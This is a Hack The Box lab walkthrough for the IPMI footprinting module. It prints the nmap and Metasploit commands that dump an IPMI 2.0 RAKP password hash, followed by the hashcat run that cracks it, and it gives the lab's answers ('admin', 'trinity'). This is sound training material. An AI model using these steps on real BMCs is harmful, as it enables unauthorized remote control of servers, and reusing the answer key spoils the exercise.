Hack The Box: Complete walkthrough of the IPMI (Intelligent Platform Management Interface) Footprinting lab module.

Solution to the HTB Intelligent Platform Management Interface Footprinting lesson

The Hack The Box (HTB) Intelligent Platform Management Interface (IPMI) module teaches you how to analyze and potentially exploit the target via IPMI. Here’s how to derive the solution and capture the flag.

Your directions in this exercise are to answer these questions (1) What username is configured for accessing the host via IPMI?, (2) Use hashcat to crack password – What is the account’s cleartext password?. Fire up the provided Pwnbox virtual machine and open a terminal.

IPMI, or Intelligent Platform Management Interface, is a standardized set of specifications for hardware-based platform management systems that enable centralized, remote control and monitoring of servers, independent of the server’s operating system, firmware, or even whether the server is powered on.

Key Features and Functions of IPMI

IPMI operates independently of the main system’s CPU, BIOS/UEFI, and OS, allowing system administrators to manage servers even if the machine is powered off or unresponsive. At the core of IPMI is a dedicated microcontroller called the BMC, which monitors hardware health (temperature, voltage, fan speeds), manages power (remote on/off/reset), logs system events, and provides remote access capabilities.

Administrators can perform tasks such as remotely installing an operating system, accessing the BIOS, rebooting the server, and mounting virtual media (like ISO images) for installations—all without physical access to the machine.

IPMI continuously monitors server health and can send alerts or log critical events, helping prevent or quickly resolve hardware failures.

Industry Support

IPMI is widely supported by major hardware vendors, including Cisco, Dell, Hewlett Packard Enterprise, and Intel, and has become a standard feature in most modern server hardware.

Footprinting the Service

IPMI communicates over port 623 UDP. Systems that utilize the IPMI protocol are known as Baseboard Management Controllers (BMCs). BMCs are commonly implemented as embedded ARM systems running Linux, and they are connected directly to the host motherboard.

If we can gain access to a BMC during an assessment, we will have full access to the host motherboard, allowing us to monitor, reboot, power off, or even reinstall the host operating system. Many BMCs, including HP iLO, Dell DRAC, and Supermicro IPMI, provide a web-based management console, as well as a command-line remote access protocol such as Telnet or SSH. Port 623 UDP is specifically designated for the IPMI network protocol.

Get the IPMI version with nmap

To begin, scan the target with nmap and the ipmi-version script like our lesson demonstrated. We can see that the service is running on port 623.

sudo nmap -sU --script ipmi-version -p 623 10.129.169.168
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-06-22 09:16 CDT
Nmap scan report for 10.129.169.168
Host is up (0.065s latency).

PORT    STATE SERVICE
623/udp open  asf-rmcp

Nmap done: 1 IP address (1 host up) scanned in 0.67 seconds

Get the IPMI version using Metasploit

We can also get the IPMI version using Metasploit scanner module IPMI Information Discovery (auxiliary/scanner/ipmi/ipmi_version). This method tends to render better results than the nmap script.

msfconsole
Metasploit tip: Save the current environment with the save command, 
future console restarts will use this environment again
                                                  
                                   ____________
 [%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%| $a,        |%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%]
 [%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%| $S`?a,     |%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%]
 [%%%%%%%%%%%%%%%%%%%%__%%%%%%%%%%|       `?a, |%%%%%%%%__%%%%%%%%%__%%__ %%%%]
 [% .--------..-----.|  |_ .---.-.|       .,a$%|.-----.|  |.-----.|__||  |_ %%]
 [% |        ||  -__||   _||  _  ||  ,,aS$""`  ||  _  ||  ||  _  ||  ||   _|%%]
 [% |__|__|__||_____||____||___._||%$P"`       ||   __||__||_____||__||____|%%]
 [%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%| `"a,       ||__|%%%%%%%%%%%%%%%%%%%%%%%%%%]
 [%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%|____`"a,$$__|%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%]
 [%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%        `"$   %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%]
 [%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%]


       =[ metasploit v6.4.43-dev                          ]
+ -- --=[ 2483 exploits - 1279 auxiliary - 393 post       ]
+ -- --=[ 1463 payloads - 49 encoders - 13 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit Documentation: https://docs.metasploit.com/

[msf](Jobs:0 Agents:0) >> use auxiliary/scanner/ipmi/ipmi_version
[msf](Jobs:0 Agents:0) auxiliary(scanner/ipmi/ipmi_version) >> set rhosts 10.129.169.168
rhosts => 10.129.169.168
[msf](Jobs:0 Agents:0) auxiliary(scanner/ipmi/ipmi_version) >> show options

Module options (auxiliary/scanner/ipmi/ipmi_version):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   BATCHSIZE  256              yes       The number of hosts to probe in each
                                         set
   RHOSTS     10.129.169.168   yes       The target host(s), see https://docs.
                                         metasploit.com/docs/using-metasploit/
                                         basics/using-metasploit.html
   RPORT      623              yes       The target port (UDP)
   THREADS    10               yes       The number of concurrent threads


View the full module info with the info, or info -d command.

[msf](Jobs:0 Agents:0) auxiliary(scanner/ipmi/ipmi_version) >> run
[*] Sending IPMI requests to 10.129.169.168->10.129.169.168 (1 hosts)
[+] 10.129.169.168:623 - IPMI - IPMI-2.0 UserAuth(auth_msg, auth_user, non_null_user) PassAuth(password, md5, md2, null) Level(1.5, 2.0) 
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

From our scan, we find the service is IPMI 2.0.

Use Metasploit to capture hash of IPMI passwords

Next, use Metasploit to see if we can enumerate any users and capture a hash of their password.

[msf](Jobs:0 Agents:0) auxiliary(scanner/ipmi/ipmi_version) >> use auxiliary/scanner/ipmi/ipmi_dumphashes
[msf](Jobs:0 Agents:0) auxiliary(scanner/ipmi/ipmi_dumphashes) >> set rhosts 10.129.169.168
rhosts => 10.129.169.168
[msf](Jobs:0 Agents:0) auxiliary(scanner/ipmi/ipmi_dumphashes) >> show options

Module options (auxiliary/scanner/ipmi/ipmi_dumphashes):

   Name               Current Setting    Required  Description
   ----               ---------------    --------  -----------
   CRACK_COMMON       true               yes       Automatically crack common
                                                   passwords as they are obtai
                                                   ned
   OUTPUT_HASHCAT_FI                     no        Save captured password hash
   LE                                              es in hashcat format
   OUTPUT_JOHN_FILE                      no        Save captured password hash
                                                   es in john the ripper forma
                                                   t
   PASS_FILE          /usr/share/metasp  yes       File containing common pass
                      loit-framework/da            words for offline cracking,
                      ta/wordlists/ipmi             one per line
                      _passwords.txt
   RHOSTS             10.129.169.168     yes       The target host(s), see htt
                                                   ps://docs.metasploit.com/do
                                                   cs/using-metasploit/basics/
                                                   using-metasploit.html
   RPORT              623                yes       The target port
   SESSION_MAX_ATTEM  5                  yes       Maximum number of session r
   PTS                                             etries, required on certain
                                                    BMCs (HP iLO 4, etc)
   SESSION_RETRY_DEL  5                  yes       Delay between session retri
   AY                                              es in seconds
   THREADS            1                  yes       The number of concurrent th
                                                   reads (max one per host)
   USER_FILE          /usr/share/metasp  yes       File containing usernames,
                      loit-framework/da            one per line
                      ta/wordlists/ipmi
                      _users.txt


View the full module info with the info, or info -d command.

[msf](Jobs:0 Agents:0) auxiliary(scanner/ipmi/ipmi_dumphashes) >> run
[+] 10.129.169.168:623 - IPMI - Hash found: admin:212095048200000001ac14f88d63dc0af7a462e47b29386d4d9357989c62d8ceaf49505f4ea81273a123456789abcdefa123456789abcdef140561646d696e:181c6968e6133f1d2d1e1f0823b15cef59dde89c
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Our Metasploit module reports:

Hash found: admin:212095048200000001ac14f88d63dc0af7a462e47b29386d4d9357989c62d8ceaf49505f4ea81273a123456789abcdefa123456789abcdef140561646d696e:181c6968e6133f1d2d1e1f0823b15cef59dde89c

It also supplies the answer to the first question. The username configured for accessing the host using IPMI is “admin”.

Copy and paste the password hash (the characters after “admin:”) into a file. name is hashed.txt.

Crack IPMI hashed password

The lesson mentions a flaw in the RAKP protocol in IPMI 2.0. During the authentication process, the server sends a salted SHA1 or MD5 hash of the user’s password to the client before authentication takes place. This can be leveraged to obtain the password hash for ANY valid user account on the BMC. These password hashes can then be cracked offline using a dictionary attack using Hashcat mode 7300. In the event of an HP iLO using a factory default password, we can use this Hashcat mask attack command hashcat -m 7300 ipmi.txt -a 3 ?1?1?1?1?1?1?1?1 -1 ?d?u which tries all combinations of upper case letters and numbers for an eight-character password.

You can try the above method but it will likely take longer than the life of your virtual machine. Instead, use a password wordlist, like rockyou.txt. Exit Metasploit and use wget to download the rockyou.txt password list to your current directory.

wget https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
--2025-06-22 10:06:23--  https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
Resolving github.com (github.com)... 140.82.113.3
Connecting to github.com (github.com)|140.82.113.3|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://objects.githubusercontent.com/github-production-release-asset-2e65be/97553311/d4f580f8-6b49-11e7-8f70-7f460f85ab3a?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250622%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250622T150623Z&X-Amz-Expires=1800&X-Amz-Signature=d23f4df3521b050b67c83e01b16f410925c44b370913ac0d51f027c1da303441&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Drockyou.txt&response-content-type=application%2Foctet-stream [following]
--2025-06-22 10:06:23--  https://objects.githubusercontent.com/github-production-release-asset-2e65be/97553311/d4f580f8-6b49-11e7-8f70-7f460f85ab3a?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250622%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250622T150623Z&X-Amz-Expires=1800&X-Amz-Signature=d23f4df3521b050b67c83e01b16f410925c44b370913ac0d51f027c1da303441&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Drockyou.txt&response-content-type=application%2Foctet-stream
Resolving objects.githubusercontent.com (objects.githubusercontent.com)... 185.199.109.133, 185.199.111.133, 185.199.110.133, ...
Connecting to objects.githubusercontent.com (objects.githubusercontent.com)|185.199.109.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 139921497 (133M) [application/octet-stream]
Saving to: ‘rockyou.txt’

rockyou.txt         100%[===================>] 133.44M   310MB/s    in 0.4s    

2025-06-22 10:06:24 (310 MB/s) - ‘rockyou.txt’ saved [139921497/139921497]

┌─[us-academy-3]─[10.10.15.62]─[htb-ac-1915373@htb-tt0plfupru]─[~]
└──╼ [★]$ ls
cacert.der  Documents  hashed.txt  Pictures  rockyou.txt  Videos
Desktop     Downloads  Music       Public    Templates

Now we can use hashcat to crack the password. We pass our hashed.txt file containing the password hash and the wordlist (rockyou.txt) that we wish to use.

┌─[us-academy-3]─[10.10.15.62]─[htb-ac-1915373@htb-tt0plfupru]─[~]
└──╼ [★]$ hashcat -m 7300 hashed.txt rockyou.txt
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 3.1+debian  Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: pthread-haswell-AMD EPYC 7543 32-Core Processor, skipped

OpenCL API (OpenCL 2.1 LINUX) - Platform #2 [Intel(R) Corporation]
==================================================================
* Device #2: AMD EPYC 7543 32-Core Processor, 3923/7910 MB (988 MB allocatable), 4MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

Host memory required for this attack: 1 MB

Dictionary cache built:
* Filename..: rockyou.txt
* Passwords.: 14344391
* Bytes.....: 139921497
* Keyspace..: 14344384
* Runtime...: 1 sec

212095048200000001ac14f88d63dc0af7a462e47b29386d4d9357989c62d8ceaf49505f4ea81273a123456789abcdefa123456789abcdef140561646d696e:181c6968e6133f1d2d1e1f0823b15cef59dde89c:trinity
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 7300 (IPMI2 RAKP HMAC-SHA1)
Hash.Target......: 212095048200000001ac14f88d63dc0af7a462e47b29386d4d9...dde89c
Time.Started.....: Sun Jun 22 10:06:44 2025 (0 secs)
Time.Estimated...: Sun Jun 22 10:06:44 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#2.........:  1433.2 kH/s (0.48ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 2048/14344384 (0.01%)
Rejected.........: 0/2048 (0.00%)
Restore.Point....: 0/14344384 (0.00%)
Restore.Sub.#2...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#2....: 123456 -> lovers1

Started: Sun Jun 22 10:06:42 2025
Stopped: Sun Jun 22 10:06:45 2025

The cracked password is “trinity”.